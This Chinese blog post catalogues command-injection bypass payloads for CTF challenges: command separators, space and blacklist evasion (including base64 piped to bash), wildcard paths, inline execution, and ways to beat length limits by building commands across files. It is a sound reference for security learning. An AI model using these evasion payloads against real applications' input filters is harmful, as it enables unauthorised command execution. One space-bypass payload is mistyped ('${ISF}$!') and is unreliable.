命令执行漏洞利用及绕过方式总结
将CTF中常见的命令执行漏洞的利用和绕过方式进行归纳总结
一. 常见管道符
Windows系统支持的管道符
|
直接执行后面的语句||
如果前面的命令是错的,就执行后面的语句,否则只执行前面的语句&
无论真假,前面和后面的命令都会执行&&
如果前面的命令是错的,则后面的命令也不执行,如果前面命令为真则执行两条命令Linux系统支持的管道符
;
无论真假,前面和后面的命令都会执行,作用和&
一样|、 ||、 &、 &&
这四种管道符都存在,并且用法和Windows系统下一样。
二. 空格过滤
${IFS}
payload:cat${IFS}flag
${IFS}$1
payload:cat${ISF}$!flag
$IFS$1
payload:cat$IFS$1flag
重定向符<>
payload1:cat<>flag
payload2:cat<flag
%09(需要php环境)
payload:cat%09flag
三. 黑名单绕过
拼接法
payload:a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
payload1:echo "Y2F0IGZsYWc="|base64 -d
payload2:echo "Y2F0IGZsYWc="|base64 -d|bash
单引号、双引号
payload:c""at fl''ag
反斜线
payload:c\at fl\ag
$1、$2和$@
payload:c$1at fl$@ag
四. 读文件绕过(cat被过滤)
当cat命令被过滤时,可以使用以下命令代替
more
: 一页一页显示内容less
: 与more类似,可以用[pg up]和[pg dn]翻页head
: 查看头几行tac
: 从最后一行开始显示,tac是cat的反向显示tail
: 查看尾几行nl
: 显示的时候顺便输出行号od
: 以二进制方式读取内容vi
: 一种编辑器,可以查看内容vim
: 一种编辑器,也可以查看内容sort
: 可查看内容uniq
: 可查看内容file -f
: 报错出具体内容
五. 通配符绕过
payload1: /???/?[a][t] '?''?''?''?'
payload2: /???/?at flag
payload3: /???/?at ????
payload4: /???/?[a]''[t] ?''?''?''?''
六. 内敛执行绕过
- 用反引号包含命令
payload:echo "
cat flag"
- $(命令)
payload:echo "$(cat flag)"
七. 绕过长度限制
- Linux中的>符号和>>符号
- 通过>来创建文件:
>test.txt
- 通过>将命令结果存入文件中:
echo "hello world">test.txt
,使用>命令会将原有文件内容覆盖,如果文件不存在则会新建。 - 使用>>符号,是将字符串添加到文件内容末尾,而不会覆盖原内容。
Linux中的命令换行
在linux中,可以通过在没有写完的命令后面加\
,可以将一条命令写在多行,如下ca\
t\
fl\
ag
于是乎,我们可以利用>>
符号和命令换行的机制,将自己的命令分多行写入一个文本中,然后通过sh命令来读取并执行文本中的命令,如下:echo "ca\\">cmd
echo "t\\">>cmd
echo " fl\\">>cmd
echo "ag">>cmd
sh cmd
以上命令相当于执行了一条cat flag
命令,用这种方法可以绕过一些长度限制来读取文件内容,是不是非常神奇呢文件构造绕过
即利用 ls -t 和 > 以及换行符 \ 来绕过长度限制执行命令ls -t
: 在linux中,使用 ls -t 可以将文件名按时间顺序排列出来(后创建的排前面)
于是可以通过下列方式构造cat flag
命令:> "ag"
> "fl\\"
> "t \\"
> "ca\\"
ls -t > test
sh test
以上命令即成功构造并执行了带有命令cat flag
的test文件。
- 本文作者: Squidward
- 本文链接: http://www.squidward.xyz/2020/10/28/命令执行漏洞总结/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!